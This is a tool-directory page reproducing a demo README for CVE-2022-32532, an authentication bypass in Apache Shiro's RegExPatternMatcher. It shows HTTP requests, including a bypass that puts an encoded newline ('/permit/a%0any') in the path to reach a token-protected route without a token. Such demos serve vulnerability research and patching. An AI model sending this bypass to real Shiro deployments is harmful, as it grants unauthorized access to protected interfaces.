Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-32532 — Apache Shiro CVE-2022-32532 | Kitploit
Tools/GitHubGitHub/lay0us/cve-2022-32532
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublay0us/cve-2022-32532

CVE-2022-32532

Apache Shiro CVE-2022-32532

View Repository
13254 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-32532

about

This is a demo project, which only shows one of the conditions for exploiting this vulnerability (CVE-2022-32532).

In fact, there are more ways to exploit it, as long as developers use RegExPatternMatcher, there will be a possible bypass vulnerability.

introduce

Token request header verification is required under the current configuration, otherwise you do not have permission to access the interface under /permit

This request can succeed

root@kitploit:~
GET /permit/any HTTP/1.1
Token: 4ra1n

Access is not allowed when there is no token request header

root@kitploit:~
GET /permit/any HTTP/1.1

It can be bypassed in a simple way in special but common configurations

root@kitploit:~
GET /permit/a%0any HTTP/1.1

reference

https://lists.apache.org/thread/y8260dw8vbm99oq7zv6y3mzn5ovk90xh

This vulnerability is similar to Spring-Security CVE-2022-22978

Thanks to bdemers (Apache Shiro PMC) and chybeta (Security Researcher)

Download Tool